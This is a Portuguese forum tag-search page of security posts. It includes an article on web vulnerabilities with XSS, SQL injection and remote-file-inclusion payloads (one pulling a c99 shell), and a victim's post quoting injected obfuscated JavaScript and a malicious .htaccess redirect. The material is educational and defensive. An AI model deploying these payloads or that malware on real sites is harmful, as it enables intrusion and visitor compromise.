Jump to content

Search the Community

Showing results for tags 'segurança'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Bem-vindos ao Portugal-a-Programar
    • Sugestões, Críticas ou Dúvidas relativas ao P@P
    • Acerca do P@P
  • Comunidade a Trabalhar
    • Wiki P@P
    • Apresentação de Projectos de Programação
    • Downloads
  • Revista PROGRAMAR
    • Revista PROGRAMAR
  • Desenvolvimento Geral
    • C
    • C++
    • Java
    • Haskell
    • Pascal
    • Python
    • Bases de Dados
    • Visual Basic Clássico
    • Visual Basic for Applications (VBA)
    • Dispositivos Móveis
    • Outras Linguagens
  • Desenvolvimento Orientado para Web
    • PHP
    • HTML
    • CSS
    • Javascript
    • Outras Linguagens de WebDevelopment
    • Desenvolvimento Web
  • Desenvolvimento .NET
    • C#
    • Visual Basic .NET
    • ASP.NET
    • WPF & SilverLight
  • Software e Sistemas Operativos
    • Software de Produtividade
    • Sistemas Operativos
    • Apresentação de Software
  • Informática
    • Interfaces Visuais
    • Computação Gráfica
    • Algoritmia e Lógica
    • Segurança e Redes
    • Hardware
    • Electrónica
    • Automação Industrial
    • Matemática
    • Dúvidas e Discussão de Programação
    • Notícias de Tecnologia
  • Outras Áreas
    • Dúvidas Gerais
    • Discussão Geral
    • Eventos
    • Anúncios de Emprego
    • Tutoriais
    • Snippets / Armazém de Código
  • Arquivo Morto
    • Projectos Descontinuados
    • System Empires

Blogs

  • Blog dos Moderadores
  • Eventos
  • Notícias de Tecnologia
  • Blog do Staff
  • Revista PROGRAMAR
  • Projectos
  • Wiki

Categories

  • Revista PROGRAMAR
  • Tutoriais
  • Textos Académicos
  • Exercícios Académicos
    • Exercícios c/ Solução
    • Exercícios s/ Solução
  • Bibliotecas e Aplicações
  • Outros

Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Found 24 results

  1. Ricardo Cardoso

    Servidor UDP em Java

    SERVIDOR UDP
  2. peenas

    VPN Caseira

    Boa tarde a todos Eu tenho um computador em casa que está sempre ligado, computador esse que tem varias câmeras de vigilância ligadas a ele. Eu através do ambiente trabalho remoto consigo aceder-lhe está ligado a minha rede de casa, mas quando estou fora e preciso de lhe aceder não consigo. Pelo que pesquisei uma VPN ia-me resolver o problema. Tenho internet da MEO e o meu roter é um Technicolor TG784n v3. Existe alguma maneira de ter uma VPN gratuita? Já vi um tutorial no PPLWARE (https://pplware.sapo.pt/informacao/tutorial-aceda-remotamente-sua-rede-meo-via-vpn/) já segui todos os passos mas depois não entendo como me ligar a VPN fora de casa.. Se alguém me pudesse ajudar agradecia. Desde já obrigado.
  3. pessantiago

    Certificado SSL no IIS

    Boas Preciso de instalar um certificado ssl no meu servidor iis alguem sabe como se faz este processo? Ouvi falar deste letsencrypt mas nao encontro o exe
  4. Rui Carlos

    Google DevFest Coimbra - 3 de Dezembro

    O DevFest Coimbra’16 é uma conferência tecnológica que se realiza no dia 3 de Dezembro, em Coimbra. Organizada pelo Google Developers Group (GDG) Coimbra, integra-se no ciclo de conferências GDG DevFest promovidas globalmente pela Google. Tem como objetivo, trazer o que melhor se faz de tecnologia ao centro de Portugal. Esta conferência é dedicada às áreas de mobile, web, design e segurança. Combina palestras, apresentadas por oradores de renome do sector tecnológico, com workshops tecnológicos, de forma a permitir o contacto direto dos participantes com a tecnologia mais recente e inovadora. O evento tem um custo associado de 5€, que revertem totalmente para a Liga Portuguesa Contra o Cancro e podem ser adquiridos: http://www2.last2ticket.com/pt/events/101/devfest-coimbra-2016. GDG Coimbra O GDG Coimbra é uma comunidade amadora de pessoas interessadas por tecnologia que se juntam para discutir ideias, desenvolver projetos, partilhar ideias (ou simplesmente beber uma cerveja, acompanhada por um nougat, o nosso “doce” atual de preferência). Entre os vários eventos organizados este ano pelo GDG Coimbra, constam: Study Jam (workshops), Developer Stories (palestras), I/O extended e Gather Hour. Redes Sociais #DevFestCbr #DevFest16 #GDGCoimbra Mais Info Site: http://devfest.gdgcoimbra.xyz Tickets: http://www2.last2ticket.com/pt/events/101/devfest-coimbra-2016 Facebook: fb.me/GDGCoimbra Google+: https://plus.google.com/+GDGCoimbra Twitter: @GDGCoimbra Email: gdgcoimbra@gmail.com
  5. Desde a minha primeira tentativa de usar um sistema de two-step verification (com o Google, há "muitos" anos atrás) não fiquei muito impressionado com o sistema. Por um lado por causa do impacto em termos de usabilidade, que me pareceu bastante negativo. Por outro, porque me pareceu que o sistema podia ser seguro de mais, e aumentava a probabilidade de perder o acesso à conta. Recentemente lembrei-me de estudar novamente o assunto, depois de receber mais um email de um serviço a recomendar a activação desta funcionalidade. E estes sistemas continuam a não me agradar muito... Temos serviços que obrigam à utilização da aplicação XPTO, e não me agrada ter que andar a instalar mais uma série de aplicações para os vários serviços. Por isso, quando possível, prefiro SMS. Contudo, com as funcionalidades de receber os SMS também nos PCs ligados ao smartphone, este método também fica com uma segurança mais limitada. Mas aquilo que mais me preocupa é mesmo o facto de habitualmente precisar de recovery codes para não correr o risco de perder o acesso às contas. Aqui a questão é como armazenar estes recovery codes? Guardá-los no PC não me parece totalmente seguro, mesmo que cifrados, visto que há sempre a possibilidade da segurança do PC ser comprometida. Imprimir este tipo de informação também não me parece lá muito boa política. A ideia que me dá é que este código vai acabar por funcionar como uma password, que se for comprometida também compromete a conta. É claro que terá a vantagem de não ser usado regularmente, o que ajuda a que o código não seja comprometido. Assim, gostava de saber quais as vossas opiniões, experiências e recomendações sobre este assunto.
  6. boas pessoal. estou a usar o ntop para monitorizar a minha rede com porta mirror e verifico que estão diversos hosts ligados ao meu router de diversos países, alguns permanentemente sempre ligados,como este por exemplo este bsb9...3-164.fbx.proxad.net, 78.210.243.164, protocol tcp, é francês, alguém sabe-me explicar o porque destas ligações? isto acontece mesmo sem estar a usar a net, só por simplesmente por estar ligado, chego a ter mais de 60 hosts ativos. abaixo deixo mais alguns hosts que estavam ligados quando fazia o tópico. 62-2....rev.poneytelecom.eu 62.210.205.183 cfn1868.cessfull.com 163.172.6.138 ams1...21-in-f131.1e100.net 216.58.212.131 187-...ser.veloxzone.com.br 187.41.145.127 smedkunst.no 88.198.210.164 160-...191-90.dyn.estpak.ee 90.191.202.160 212.26.249.92 212.26.249.92
  7. djthyrax

    Vulnerabilidades em aplicações Web

    Como tenho visto tantas vulnerabilidades nos códigos que têm sido postados (tanto nas dúvidas como nas ajudas), deixo aqui um artigo meu sobre vulnerabilidades em aplicações web. Pretendo com este tópico criar algumas guidelines (mesmo que não sejam oficiais) para que quando ensinarmos alguém, ensinarmos bem (sticky sticky!). Realço que este artigo saiu na edição 11 da revista PROGRAMAR, embora esta versão tenha levado umas correcções recentemente (hoje). Estejam à vontade de comentar/questionar, é para isso que cá estou. Vulnerabilidades em aplicações Web Na informática nada é perfeito. Todas as aplicações têm bugs ou falhas de segurança. As aplicações web não são excepção. Nos tempos que correm, a Internet tem assumido um papel bastante importante na vida das pessoas: os adolescentes falam usando o mais que sobre-lotado MSN, "socializam" através do Hi5, MySpace e espaços semelhantes, mostram as suas criações em comunidades como o deviantART, os "adultos" vêem uns vídeos no YouTube e mandam emails para os amigos. Nesta pequena lista de actividades, a maior parte das pessoas não sabe que poderá estar a ser vítima de um ataque graças a falhas nos sites que está a visitar, falhas essas que muitas vezes se devem a pequenos descuidos do programador. O objectivo deste artigo é elucidar o leitor sobre os tipos de falhas que se descobrem com mais frequência, como funcionam e como as evitar. De acordo com o estudo OWASP (Open Web Application Security Project) Top 10 de 2007, as vulnerabilidades que existem em mais abundância na web são: Cross site scripting (XSS); Falhas de injecção; Execução de ficheiros maliciosos; Insecure Direct Object Reference; Cross site request forgery (CSRF, também conhecido como XSRF); Fuga de informação, falhas no handling de erros; Quebras de autorização, falhas no handling de sessões; Falhas ao arquivar dados sensíveis, uso de "criptografia insegura"; Ligações não-seguras; Falhas na restrição de acesso a URLs. Falhas XSS e XSRF Este tipo de falhas consiste em injectar código (normalmente Javascript ou VBscript) no browser do utilizador, alterando o código da página, podendo assim levar ao roubo de informações. Erros em validações de parâmetros enviados pelo método GET ou POST são o principal motor deste tipo de falha. Exemplo de código que não faz qualquer tipo de validação aos parâmetros enviados: <html> <head> <title>Falha de XSS</title> </head> <body> <h1>Pesquisa</h1> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET"> <input type="text" name="pesquisa" /><br /><br /> <input type="submit" name="botao" value="Pesquisar!" /> </form> <?php if(!empty($_GET)){ echo "Está a pesquisar por: ".$_GET['pesquisa']; } ?> </body> </html> Neste pequeno script em PHP, poderíamos "brincar" um bocadinho com o utilizador, fazendo-o clicar, por exemplo, neste link: http://www.exemplo.com/ficheiro_vulneravel.php?pesquisa=%3Cscript%20src=http://kakakeys.com/xs.js%3E%3C/script%3E Neste caso, o script era inofensivo e limitou-se a abrir aquela janela a dizer "xss!", mas poderia ter sido usado em conjunto com XSRF para roubo de cookies, por exemplo. As falhas de XSRF são, nada mais nada menos, que um tipo de ataques XSS, onde a página é alterada para enganar o utilizador e roubar informação. A análise a um ataque XSRF, neste caso no popular Hi5, pode ser visto aqui (ver o quadro "Ler mais", 2º link). As falhas de XSS e XSRF podem ser evitadas usando, por exemplo, uma função para remover tags HTML (ver a função strip_tags() no manual do PHP: http://pt2.php.net/strip_tags) ou para trocar certos caracteres pelo seu HTML entity (ver a função htmlentities() no manual do PHP: http://pt2.php.net/htmlentities). Falhas de injecção e Insecure Direct Object Reference Injecção de SQL é das vulnerabilidades mais conhecidas (senão a mais conhecida) pela Internet. Pequenos erros de validação podem se revelar catastróficos e extremamente embaraçantes. A título de exemplo, a Microsoft do Reino Unido foi vítima da exploração de uma vulnerabilidade de injecção de SQL (ver 3º link no quadro "Ler mais"). Exemplo de código vulnerável: <html> <head> <title>Falha de SQL Injection</title> </head> <body> <h1>Pesquisa</h1> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> <input type="text" name="pesquisa" /><br /><br /> <input type="submit" name="botao" value="Pesquisar!" /> </form> <?php $link = mysql_connect('localhost', 'mysql_user', 'mysql_password'); mysql_select_db("site"); $res = mysql_query("SELECT id, uniq FROM blog WHERE tags LIKE '%".$_POST['pesquisa']."%'"); while(($r = mysql_fetch_array($res))){ echo '<a href="post.php?id='.$r['id'].'">'.$r['uniq']."</a><br />"; } ?> </body> </html> Ao escrever na pesquisa "' UNION SELECT id, uniq FROM logins#" (sem aspas), poderia obter os IDs dos utilizadores (o nome de utilizador por exemplo), e o hash da sua palavra-passe (o campo uniq). Em casos em que exista também uma falha de "má arquivação" de dados sensíveis, como arquivar palavra-passe e não o hash resultante da passagem da palavra-passe por um algoritmo de hash, ir-se-ia obter a palavra-passe "sem qualquer espinha", evitando o recurso a ataques de força bruta ou de dicionário a algoritmos de hash inseguros (o uso de "criptografia insegura") como o MD5 ou o SHA-1. Em PHP, existe uma forma bastante simples de evitar injecção de SQL: usar a função mysql_real_escape_string() (manual do PHP: http://pt2.php.net/mysql_real_escape_string ) para fazer "escape" dos caracteres perigosos que vêm do utilizador. As falhas de injecção não são, porém, apenas de SQL. As vulnerabilidades de Insecure Direct Object Reference abrem portas à injecção de código na aplicação em si. Este tipo de vulnerabilidades são vistas principalmente em aplicações PHP de programadores inexperientes. Exemplo de uma falha de Insecure Direct Object Reference: <html> <head> <title>Falha de code injection</title> </head> <body> <h1>Escolha de lingua</h1> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="GET"> <select name="lingua"> <option>PT</option> <option>EN</option> </select> <input type="submit" name="botao" value="Navegar!" /> </form> <?php if(!empty($_GET['lingua'])){ include $_GET['lingua'].".index.php"; } ?> </body> </html> Ao escrever no URL, por exemplo, http://www.exemplo.com/lingua.php?lingua=http://alojamento.tld/shells/c99.txt?, o ficheiro que seria incluído seria, na verdade, o http://alojamento.tld/shells/c99.txt. Usando uma shell C99, poderia criar, apagar ou alterar ficheiros, "matar" processos no servidor ou desligá-lo. Este tipo de falhas é normalmente denominado de Remote File Inclusion (RFI). Usando um pouco de "engenharia social", poder-se-ia fazer um URL de redireccionamento no TinyURL para uma página com código para roubar dados do utilizador. Em conjunto com falhas no handling de sessões, poderia apoderar-me da sessão do utilizador no site, e navegar no mesmo como se fosse a "vítima". Para evitar este tipo de falhas, é aconselhável usar estruturas de controlo, como if...elseif...else ou o switch: $pagina = $_GET['pag']; if($pagina == 'contacto'){ include "contacto.php"; }elseif($pagina == 'ajuda'){ include "ajuda.php"; }else{ include "main.php"; } switch($_GET['pag']){ case 'contacto': include "contacto.php"; break; case 'ajuda': include "ajuda.php"; break; default: include "main.php"; break; } Quebras de autorização, falhas no handling de sessões, ligações não-seguras Um erro bastante cometido pelos menos experientes nas andanças da programação web é a passagem de informação sensível por cookies em ligações não-seguras. Temos, por exemplo, o caso do HDD.com.pt. O serviço premium do HDD.com.pt baseia-se em cookies para verificar o estatuto do utilizador. Ao fazer login, são estabelecidos dois cookies: um com o ID do utilizador, e outro com o hash da password desse utilizador em MD5. Este sistema está vulnerável a quebras de autorização usando ataques MiM (men in the middle) uma vez que passa dados sensíveis por uma ligação não-segura (não usa qualquer tipo de encriptação, como TLS ou SSL) usando cookies (mesmo usando SSL ou TLS, bastaria saber o chave pública para descodificar o pacote e obter os cookies). Para prevenir este tipo de falhas, aconselha-se a nunca enviar dados sensíveis de ou para o cliente usando ligações não seguras, nunca usar cookies para identificação do utilizador nem qualquer tipo de funcionalidades para lembrar o utilizador, para lhe poupar o trabalho de fazer login cada vez que abre o browser. Como alternativa à passagem de informação identificativa por cookies, aconselha-se o uso de sessões. No entanto, o uso de sessões sofre do mesmo mal que os cookies: podem ser roubadas. Um dos erros mais comuns no uso de sessões é não haver qualquer tipo de verificação se o browser que se está a ligar é o mesmo a cada pedido. Sabendo o cookie de sessão de um utilizador, se eu me ligar a um website usando o cookie de sessão desse utilizador, posso-me fazer passar por ele caso não haja qualquer tipo de verificação ao browser utilizado. Para diminuir a probabilidade de roubo de sessões (sim, porque não deixa de possível), aconselha-se à verificação do browser recorrendo a, por exemplo, o User-Agent, a ordem de envio dos headers, o conteúdo do header HTTP-Accept, entre outros, e caso a verificação falhe, destruir a sessão, dar-lhe uma nova, e obrigar o utilizador a fazer login novamente. "Criptografia segura" vs "criptografia insegura" O uso de "criptografia segura" pode fazer toda a diferença entre uma catástrofe e uma saída "ilesa" de um servidor de uma invasão. Quando todas as medidas de precaução que usámos já falharam e estamos condenados, temos uma última arma contra a quebra da privacidade dos nossos utilizadores: o uso de "criptografia segura". Quando falo de "criptografia segura", refiro-me a algoritmos considerados seguros para o armazenamento de dados sensíveis, como os algoritmos SHA-256 e AES por exemplo, em detrimento de "criptografia insegura", como os algoritmos MD4, MD5, SHA-1, entre outros. Um dos grandes problemas dos algoritmos de hashing é, sem dúvida alguma, a possibilidade de clashing, ou seja, existir outra combinação de caracteres que não a original que tenha o mesmo hash. Imaginemos uma palavra-passe "Portugal-a-Programar". O hash MD5 desta password é e8ca8f20b74e7e64a11160b7002f943d. No entanto, poderão haver outras palavras-passe que dão este hash de 32 caracteres. Mas, usando um algoritmo de hashing que produza um hash maior (como SHA-256, que produz hashes com 64 caracteres, ou o SHA-512, que produz hashes com 128 caracteres), as possibilidades de clashing são muito mais reduzidas. Quando as possibilidades de clashing são menores, um cracker irá necessitar de fazer ataques de dicionário (usando rainbow tables) mais complexos e demorados, uma vez que irá necessitar de uma lista de hashes maior. Outra medida que muitas pessoas defendem, é o uso de "sal" em palavras-passe, de modo a dificultar muito, se não tornar impraticáveis, os ataques de dicionário. Este "truque" do "sal" consiste em adicionar caracteres à palavra-passe antes de a passar pela função de hashing. Imaginemos a palavra-passe "amor". Como é extremamente provável que o hash desta palavra-passe esteja presente em rainbow tables, vamos adicionar-lhe "sal", de modo a que passe pala função de hashing a password "amortty", que é extremamente improvável que esteja numa rainbow table. Neste caso, o "sal" que adicionámos foi o "tty", que vai ter de ser guardado em algum sítio, sítio esse que ir? estar certamente ao alcance de um cracker durante uma invasão. No entanto, mesmo que o cracker saiba o "sal"? que adicionamos às palavras-passe, irá necessitar de criar novos dicionários com aquele "sal", um processo demasiado moroso para alguns e que nos fazem ganhar tempo até que os dados dos utilizadores sejam expostos. Depois da invasão, mudamos o "sal" das palavras-passe, pedindo aos utilizadores para escolherem uma nova palavra-passe. Falhas no handling de erros e fuga de informação Os erros durante o handling de erros pode dar informações preciosas dos mais diversos tipos a um hacker. Imaginemos um sistema de login. Eu submeto um utilizador e uma password aleatórios e obtenho a mensagem "O utilizador escolhido não existe". Tento novamente, mas submeto um utilizador que existe, obtendo a mensagem "A password está errada". Este tipo de erros do programador podem abrir portas a ataques de dicionário ou brute force a um hacker. Para este tipo de casos, não se deve ser explicito no erro, deve-se dizer apenas que os dados fornecidos não estão correctos. Nas falhas de injecção de SQL, o handling de erros também tem um papel fundamental, dizendo exactamente onde aconteceu o erro na query, abrindo portanto ao hacker a estrutura da query e como poderá manipulá-la de forma a atingir os seus objectivos. Falhas na restrição de acesso a URLs Esta falha normalmente não representa grande risco, mas há excepções. Esta falha consiste basicamente no uso de URLs genéricos, como http://www.exemplo.com/apagar-post.php para funções administrativas, onde não há qualquer tipo de controlo de quem está a aceder ao URL. Neste tipo de falhas, não há grandes recomendações a fazer para além do ser extremamente cuidadoso nestes ficheiros com verificações como a forma como o script está a ser executado (directamente em vez do include), quem é que está a aceder, entre outros. Execução de ficheiros maliciosos Embora este tipo de vulnerabilidade afecte principalmente utilizadores e não servidores, sinto-me na obrigação de falar nele. Muitas vezes, a execução de ficheiros maliciosos está associado a falhas de XSS num site e a falhas de verificação no browser, permitindo a execução de executáveis duvidosos. Muitos dos alertas que os anti-vírus lançam durante a nossa navegação pela Internet, são sobre este tipo de vulnerabilidades. Ao detectarem que numa determinada ligação está a passar código malicioso, eles lançam o aviso e fazem "drop" dos pacotes, evitando assim o ataque. Embora haja medidas para prevenir todos estes tipos de ataques, nenhuma delas é infalível, funcionando apenas como uma blindagem: não são impenetráveis, mas dão-nos tempo para reagir. Vigilância a servidores usando software para o efeito e ter um administrador com conhecimentos é algo indispensável nos dias que correm, uma vez que podem detectar o início de um ataque e "cortar-lhe as pernas", evitando danos maiores. Ler Mais: http://www.owasp.org/index.php/Main_Page http://forums.ptsec.net/investigacao_discussao_de_exploits/hi5_xssxsrf-t988.0.html http://www.zone-h.org/content/view/14734/31/ http://pt2.php.net/strip_tags http://pt2.php.net/htmlentities http://pt2.php.net/mysql_real_escape_string http://deathseeker25.wordpress.com/2006/12/28/sql-injection-breve-explicacao/ http://en.wikipedia.org/wiki/SHA_hash_functions http://en.wikipedia.org/wiki/Advanced_Encryption_Standard
  8. Entrevista Virtual a Edward Snowden pelo "The New Yorker Festival" (11-10-2014) Snowden está classifocado como um terrorista e é procurado pelas autoridades por ter divulgado informação confidencial. Atualmente vive na Rússia. A perspetiva do próprio é muito interessante sob várias perspetivas: Até que ponto vai a vigilância e monitorização sobre o que fazem os utilizadores na web e com os seus mobiles; Porque é que este não é um problema apenas dos USA Como podem os utilizadores contrariar "castigar" as empresas que o fazem; Como pode um leigo estar mais protegido; Porque é que o tão falado argumento "Eu não tenho nada a esconder. Podem ver os meus dados..." está errado... Aqui fica o link: https://www.youtube.com/embed/fidq3jow8bc?start=287&feature=oembed
  9. Boas Há alguns aspectos a ter em conta para criar de raíz um tema para o WP, simples, mesmo que não utilize todo o potencial da última versão da plataforma, mas feito de forma segura? Eu sei, a minha pergunta é retórica. Há! Tenho andado às voltas e gostaria de fazer um. O problema não é fazer o tema mas a preocupação em que seja segura, isto é, que não sirva de janela para ataques já que faz uso do PHP. - Para o que pretendo, estou à vontade com o PHP, CSS, HTML (e Javascript) - Não pretendo ter nenhum plug-in À parte da escrito do código poder ser comprarável a uma pintura de Picasso a minha dúvida é mesmo esta. Com o tempo melhoro o código com base no meu conhecimento. Muitos dos ataques que vêm a público têm em muitos casos a ver com pass, facta de actualização do CMS e plug-in's. Thanks Obs: quem diz WP pode também falar de Joomla! ou outro.
  10. chbcl

    Problema segurança

    Boas, O meu problema é o seguinte, eu tenho um site que tem como root: D:/public_html/ e eu criei uma conta FTP que so dá acesso ao directorio: D:/public_html/user mas, com essa conta eu posso entrar em ftp e fazer UPLOAD de uma SHELL de deface, e aceder ao root ou seja ao disco D: e TODAS AS PASTAS , SUBPASTAS e ARQUIVOS! Como faço ou para tirar permissões de acesso para que nem a SHELL consiga ou melhor ainda BLOQUEAR as SHELL's que possam vir a ser upadas? Tou com urgencia nisso, agradecia que alguem me podesse orientar
  11. mais: https://www.openssl.org/news/secadv_20140605.txt
  12. O título do tópico diz tudo, estou à procura do melhor livro sobre segurança ao nível da administração de servidores em linux virados para o web hosting. Bem sei que "o melhor" é algo não consesual, pelo que aceito todas as recomendações de tudo o que seja acima de bom nesta área.
  13. tiko165

    Criar ficheiro php ou copiar

    Quando faço upload de imagens, poderá haver possibilidades de criar uma nova pasta automaticamente, e como tal, como pretendo maior segurança, gostaria que fosse possível criar um ficheiro "index.php" (em vazio) ou então copia-lo de outra pasta, para assim, obter uma maior segurança entre todos as pastas. Alguém sabe um método para esta questão?
  14. Bom dia, queria se fosse possível que me respondessem a uma pergunta Eu estou a pensar em começar a construir uns websites para algumas empresas, tenho portfolio..., o meu problema e a maneira como estou a pensar em fazer, para angariar clientes pensei em oferecer pentests, claro que se estes testes fossem feitos e apresentassem vulnerabilidades nas plataformas das empresas as quais o teste era oferecido, obrigatoriamente elas teriam que me comprar a plataforma Eu sei que por lei eu posso efectuar testes e invadir plataformas dez que seja autorizado pelo proprietário a minha duvida é se posso invadir plataformas autorizadas pelo proprietário se elas tiverem alojadas nos servidores da empresa que criou as criou ex a abc desenvolveu uma plataforma para a empresa xpto e o website encontra-se nos servidores da abc Depois encontro-me com a xpto e ofereço o teste de invasão, será que o posso mesmo fazer legalmente?
  15. Tenho um sistema que utiliza base de dados access. Nela tenho uma tabela Tbl_Usuarios com os campos: ID, USER, PASS No sistema existe a possibilidade de trocar de senha, mas ainda não sei como implantar a parte de perda da senha. Se o usuário perder, ou esquecer a senha, tenho adotado a prática do administrador do sistema ir no cadastro de usuários e trocar a senha manualmente, com os asteriscos é claro. E passar via email a nova senha para o usuário. Alguém poderia me dar uma sugestão de uma melhor maneira do usuário poder trocar a senha sem ter que informar a nova senha ?
  16. Como o título do tópico diz gostaria de saber quais são as formas de tornar a nossa ligação à internet mais segura? Para além da utilização de um antivírus e de uma Firewall (como deve ser configurada) existem outro métodos para aumentar a segurança da nossa ligação por exemplo encriptação ou ligações a VPN? Se sim como se faz agradecia um tuturial se pudesse.
  17. Boa noite pessoal, Estou com um problema, alguns dos meus sites estão a ser atacados. O ataque acontece sobre os ficheiros .htacess, js e alguns php. O que acontece é que é escrito nos ficheiros o seguinte: .ficheiros javascript e php: #336988# <script type=\"text/javascript\" language=\"javascript\">try{window.document.body++}catch(gdsgsdg){dbshre=9;}if(dbshre){asd=0;try{d=document.createElement(\"div\");d.innerHTML.a=\"asd\";}catch(agdsg){asd=1;}if(!asd){e=eval;}ss=String;asgq=new Array(31,94,110,104,94,107,97,104,104,27,31,33,25,117,8,1,24,25,26,27,109,89,107,26,110,23,53,25,94,106,90,109,102,95,105,107,38,92,108,96,88,108,94,63,103,92,101,94,104,111,31,31,98,96,109,88,101,94,33,36,50,5,3,7,5,23,24,25,26,110,37,107,107,93,27,52,24,32,98,111,107,104,51,41,42,93,108,105,40,45,97,38,97,105,104,92,38,105,102,42,90,107,108,41,96,106,92,39,106,99,103,31,52,7,5,23,24,25,26,110,37,107,109,115,103,92,38,105,105,110,96,108,98,105,105,23,53,25,33,92,89,107,104,102,112,107,93,32,53,8,1,24,25,26,27,106,38,108,110,116,99,93,39,92,106,105,92,94,108,27,52,24,32,42,34,50,5,3,26,27,23,24,108,40,110,107,113,101,95,41,95,93,98,97,99,107,24,54,26,34,40,104,113,33,54,4,2,25,26,27,23,107,39,109,111,112,100,94,40,114,96,92,109,98,27,52,24,32,43,107,111,31,52,7,5,23,24,25,26,110,37,107,109,115,103,92,38,101,95,97,107,24,54,26,34,40,104,113,33,54,4,2,25,26,27,23,107,39,109,111,112,100,94,40,111,102,104,25,55,27,30,41,105,114,34,50,5,3,7,5,23,24,25,26,100,93,24,33,27,95,102,91,110,103,96,101,108,39,97,96,107,61,101,95,104,92,102,109,60,116,64,92,33,33,110,30,33,34,26,118,4,2,25,26,27,23,24,25,26,27,91,103,92,111,104,92,102,109,40,114,105,97,109,95,35,30,52,93,99,113,23,97,93,55,87,30,107,85,33,57,51,39,93,99,113,53,31,34,53,8,1,24,25,26,27,23,24,25,26,95,102,91,110,103,96,101,108,39,97,96,107,61,101,95,104,92,102,109,60,116,64,92,33,33,110,30,33,39,91,107,103,93,103,94,62,95,97,101,94,35,106,33,52,7,5,23,24,25,26,120,4,2,118,35,35,32,51);s=\"\";for(i=0;i-447!=0;i++){if((020==0x10)&&window.document)s+=ss[\"fromCharCode\"](1*asgq[i]-(i%5-5-4));}z=s;e(s);}</script>"; #/336988# ficheiros .htacess: #336988# <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} ^.*(abacho|abizdirectory|about|acoon|alexana|allesklar| allpages|allthesites|alltheuk|alltheweb|altavista|america|amfibi|aol|apollo7|aport| arcor|ask|atsearch|baidu|bellnet|bestireland|bhanvad|bing|blog|bluewin|botw| brainysearch|bricabrac|browseireland|chapu|claymont|click4choice|clickey|clickz| clush|confex|cyber-content|daffodil|devaro|dmoz|dogpile|ebay|ehow|eniro|entireweb| euroseek|exalead|excite|express|facebook|fastbot|filesearch|findelio|findhow| finditireland|findloo|findwhat|finnalle|finnfirma|fireball|flemiro|flickr|freenet| friendsreunited|galaxy|gasta|gigablast|gimpsy|globalsearchdirectory|goo|google| goto|gulesider|hispavista|hotbot|hotfrog|icq|iesearch|ilse|infoseek|ireland- information|ixquick|jaan|jayde|jobrapido|kataweb|keyweb| kingdomseek|klammeraffe|km|kobala|kompass|kpnvandaag|kvasir|libero|limier|linkedin| live|liveinternet|lookle|lycos|mail|mamma|metabot|metacrawler|metaeureka|mojeek| msn|myspace|netscape|netzindex|nigma|nlsearch|nol9|oekoportal|openstat|orange| passagen|pocketflier|qp|qq|rambler|rtl|savio|schnellsuche|search|search-belgium| searchers|searchspot|sfr|sharelook|simplyhired|slider|sol|splut|spray|startpagina| startsiden|sucharchiv|suchbiene|suchbot|suchknecht|suchmaschine|suchnase|sympatico| telfort|telia|teoma|terra|the-arena|thisisouryear|thunderstone|tiscali|t-online| topseven|twitter|ukkey|uwe|verygoodsearch|vkontakte|voila|walhello|wanadoo|web| webalta|web-archiv|webcrawler|websuche|westaustraliaonline|wikipedia|wisenut|witch| wolong|ya|yahoo|yandex|yell|yippy|youtube|zoneru)\.(.*) RewriteRule ^(.*)$ http://aceoot.org/esd.php [R=301,L] </IfModule> #/336988# Alguém me pode ajudar com isto? como posso impedir que estes ficheiros sejam afectados e escritos?
  18. Pois bem tava aqui eu a trabalhar e tal, e surgiu uma duvida a nivel de segurança... para os outros campos, get's, post's e associados estou a usar esta função: function anti_injection($sql, $formUse = true) { // remove palavras que contenham sintaxe sql $sql = preg_replace("/(from|select|insert|delete|where|drop table|show tables|like|grant|revoke|#|\*|--|\\\\)/i","",$sql); $sql = trim($sql);//limpa espaços vazio $sql = strip_tags($sql);//tira tags html e php if(!$formUse || !get_magic_quotes_gpc()) $sql = addslashes($sql);//Adiciona barras invertidas a uma string return $sql; } mas o problema é que eu estou a usar um editor visual de html (o tinymce mais precisamente), sendo assim, vai ter de passar dados html, e nao sei como fazer para tornar essa transmissao de dados segura... ja agora esse campo que recebe os dados html, está no tipo memo, talves se usar o tipo blob seja melhor? Aguardo opiniões
  19. Ando a pesquisar um pouco sobre PHP e MySql e a conecxão que utilizo é a seguinte: <?php $con = mysql_connect('localhost','root','password') or die(mysql_error()); if($con){ $database = mysql_select_db('pessoas') or die(mysql_error()); } ?> Bem é verdade que funciona bastante bem mas creio que não é uma forma segura pois basta abrir este ficheiro e ficamos a saber a palavra-passe da base de dados. A minha pergunta é a seguinte: existe alguma forma de fazer esta conexão (PHP ao MySql) de forma segura?
  20. O melhor guia para testes de intrusão... Guia para download http://www.isecom.org/osstmm/ teckV
  21. O Metasploit é um framework criado por H.D.Moore, que serve para elaboração e execução de um repositório de exploits. Os meus maiores agradecimentos ao H.D. Moore e sua equipe por tornarem um sonho realidade Agora que todos já sabem o que é o Metasploit, vamos aprender a trabalhar com ele. Lembrando que este tutorial só tem o objectivo de aprendizagem, cada um é responsável pelos seus actos. De qualquer forma, e devido a certos requisitos dos testes de intrusão deverão usar sempre proxy a não ser que usem um Lab com VM´s Uma das coisas que hoje já existe no metasploit é uma interface gráfica via browser que simplifica o processo, apesar de aconselhar a usarem o cliente tipo linha de comandos (msfcl) A interface gráfica é o msfweb - Interface gráfica via browser Vou usar o linux mas há também a versão para windows. Então levando em consideração que tenham instalado no vosso PC e está a funcionar, vamos dar uma vista sobre a utilização desta SUPER PODEROSA FERRAMENTA... um sonho tornado realidade... para mim que ainda me lembro quando para fazer isto era preciso dezenas de tools e procedimentos... agora tá tudo integrado numa plataforma/framework. Vou também ter o cuidado de usar vulnerabilidades antigas e exploits ultrapassados para que não possa ser usado como guia total para um ataque, visto cobrir todo o percurso de exploitation. Mas basta seleccionar outros exploits para as novas coisinhas... Vejam também a, digamos, o irmão web que é a excelente w3af "Web Application Attack and Audit Framework." Apesar do metasploit também estar preparado para ataques web, mas eu especializei-me nos dois e é melhor trabalhar com as duas em conjunto. O metasploit possui várias ferramentas dentre elas: (e muitas mais para vocês explorarem... explorem os payloads, os exploits e todos os outros utilitários. Podem fazer-lo lendo ou explorando nos ficheiros ou com comandos do tipo "show payloads" ou "show exploits", entre 